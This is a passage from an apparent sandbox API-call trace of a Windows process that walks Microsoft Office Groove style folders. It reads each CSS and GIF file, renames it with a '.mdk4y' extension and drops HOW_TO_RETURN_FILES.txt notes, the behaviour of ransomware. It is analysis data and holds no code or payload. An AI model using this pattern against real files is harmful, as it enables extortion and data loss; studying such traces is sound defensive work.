Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\casual.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0219.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829463800000) returned 1 [0219.408] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x760, lpOverlapped=0x0) returned 1 [0219.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829465400000) returned 1 [0219.425] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829465400000) returned 1 [0219.425] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\casual.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Casual.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\casual.css.mdk4y")) returned 1 [0219.426] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0219.426] AreFileApisANSI () returned 1 [0219.426] GetACP () returned 0x4e4 [0219.426] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Country.css", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Country.cssw.css", lpUsedDefaultChar=0x37dd1c) returned 11 [0219.426] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\country.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0219.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829465700000) returned 1 [0219.427] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x731, lpOverlapped=0x0) returned 1 [0219.525] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829475500000) returned 1 [0219.525] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829475500000) returned 1 [0219.526] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\country.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Country.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\country.css.mdk4y")) returned 1 [0219.529] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0219.529] AreFileApisANSI () returned 1 [0219.529] GetACP () returned 0x4e4 [0219.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Desert", cchWideChar=6, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Deserty.css", lpUsedDefaultChar=0x37dd1c) returned 6 [0219.529] AreFileApisANSI () returned 1 [0219.529] GetACP () returned 0x4e4 [0219.529] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=102, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\") returned 102 [0219.529] AreFileApisANSI () returned 1 [0219.529] GetACP () returned 0x4e4 [0219.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0219.529] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.529] AreFileApisANSI () returned 1 [0219.529] GetACP () returned 0x4e4 [0219.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0219.529] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.529] AreFileApisANSI () returned 1 [0219.529] GetACP () returned 0x4e4 [0219.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="HEADER.GIFs", lpUsedDefaultChar=0x37dc90) returned 10 [0219.529] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0219.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829476000000) returned 1 [0219.531] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x94, lpOverlapped=0x0) returned 1 [0219.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829476100000) returned 1 [0219.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829476200000) returned 1 [0219.532] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\header.gif.mdk4y")) returned 1 [0219.534] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.534] AreFileApisANSI () returned 1 [0219.534] GetACP () returned 0x4e4 [0219.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0219.534] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0219.536] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829476600000) returned 1 [0219.536] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1f0, lpOverlapped=0x0) returned 1 [0219.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829476600000) returned 1 [0219.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829476700000) returned 1 [0219.537] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_off.gif.mdk4y")) returned 1 [0219.539] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.539] AreFileApisANSI () returned 1 [0219.539] GetACP () returned 0x4e4 [0219.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0219.539] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0219.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829477100000) returned 1 [0219.541] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x401, lpOverlapped=0x0) returned 1 [0219.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829487400000) returned 1 [0219.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829487400000) returned 1 [0219.645] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_on.gif.mdk4y")) returned 1 [0219.943] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0219.943] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0219.944] AreFileApisANSI () returned 1 [0219.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 126 [0219.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0219.945] GetFileType (hFile=0x134) returned 0x1 [0219.946] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0219.946] AreFileApisANSI () returned 1 [0219.946] GetACP () returned 0x4e4 [0219.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Desert.css", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Desert.csss", lpUsedDefaultChar=0x37dd1c) returned 10 [0219.946] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0219.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829517700000) returned 1 [0219.947] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xd35, lpOverlapped=0x0) returned 1 [0220.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829524600000) returned 1 [0220.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829524600000) returned 1 [0220.016] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert.css.mdk4y")) returned 1 [0220.018] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.018] AreFileApisANSI () returned 1 [0220.018] GetACP () returned 0x4e4 [0220.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Earthy.css", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Earthy.css", lpUsedDefaultChar=0x37dd1c) returned 10 [0220.018] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\earthy.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.019] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829524900000) returned 1 [0220.019] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x72e, lpOverlapped=0x0) returned 1 [0220.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829525100000) returned 1 [0220.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829525100000) returned 1 [0220.021] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\earthy.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Earthy.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\earthy.css.mdk4y")) returned 1 [0220.023] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.023] AreFileApisANSI () returned 1 [0220.023] GetACP () returned 0x4e4 [0220.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrayCheck", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="GrayChecks", lpUsedDefaultChar=0x37dd1c) returned 9 [0220.023] AreFileApisANSI () returned 1 [0220.023] GetACP () returned 0x4e4 [0220.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=105, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\꬀\x94") returned 105 [0220.023] AreFileApisANSI () returned 1 [0220.023] GetACP () returned 0x4e4 [0220.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0220.023] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.023] AreFileApisANSI () returned 1 [0220.024] GetACP () returned 0x4e4 [0220.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0220.024] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.024] AreFileApisANSI () returned 1 [0220.024] GetACP () returned 0x4e4 [0220.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="HEADER.GIFs", lpUsedDefaultChar=0x37dc90) returned 10 [0220.024] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829525400000) returned 1 [0220.025] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1b8, lpOverlapped=0x0) returned 1 [0220.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829525500000) returned 1 [0220.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829525500000) returned 1 [0220.026] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\header.gif.mdk4y")) returned 1 [0220.027] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.027] AreFileApisANSI () returned 1 [0220.027] GetACP () returned 0x4e4 [0220.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0220.027] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829525700000) returned 1 [0220.027] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0220.028] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829525800000) returned 1 [0220.028] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829525800000) returned 1 [0220.028] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_off.gif.mdk4y")) returned 1 [0220.101] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.101] AreFileApisANSI () returned 1 [0220.101] GetACP () returned 0x4e4 [0220.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0220.101] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829533200000) returned 1 [0220.102] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0220.104] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829533400000) returned 1 [0220.104] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829533400000) returned 1 [0220.104] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_on.gif.mdk4y")) returned 1 [0220.106] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0220.106] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0220.106] AreFileApisANSI () returned 1 [0220.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 129 [0220.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0220.107] GetFileType (hFile=0x134) returned 0x1 [0220.108] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.108] AreFileApisANSI () returned 1 [0220.108] GetACP () returned 0x4e4 [0220.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrayCheck.css", cchWideChar=13, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, 